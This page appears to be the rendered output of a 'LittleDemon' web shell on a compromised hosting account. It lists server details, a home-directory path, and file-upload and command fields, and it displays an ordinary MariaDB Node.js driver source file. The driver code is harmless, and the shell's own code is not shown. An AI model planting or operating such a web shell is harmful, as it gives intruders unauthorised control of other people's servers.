LittleDemon WebShell


Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
Path : /home/livedhms/lmgt/node_modules/mariadb/lib/io/
File Upload :
Command :
Current File : /home/livedhms/lmgt/node_modules/mariadb/lib/io/packet-node-iconv.js

//  SPDX-License-Identifier: LGPL-2.1-or-later
//  Copyright (c) 2015-2024 MariaDB Corporation Ab

'use strict';

const Packet = require('./packet');
const Iconv = require('iconv-lite');

class PacketIconvEncoded extends Packet {
  constructor(encoding) {
    super();
    this.encoding = encoding;
  }

  readStringLengthEncoded() {
    const len = this.readUnsignedLength();
    if (len === null) return null;

    this.pos += len;
    return Iconv.decode(this.buf.subarray(this.pos - len, this.pos), this.encoding);
  }

  static readString(encoding, buf, beg, len) {
    return Iconv.decode(buf.subarray(beg, beg + len), encoding);
  }

  subPacketLengthEncoded(len) {
    this.skip(len);
    return new PacketIconvEncoded(this.encoding).update(this.buf, this.pos - len, this.pos);
  }

  readStringRemaining() {
    const str = Iconv.decode(this.buf.subarray(this.pos, this.end), this.encoding);
    this.pos = this.end;
    return str;
  }
}

module.exports = PacketIconvEncoded;

LittleDemon - FACEBOOK
[ KELUAR ]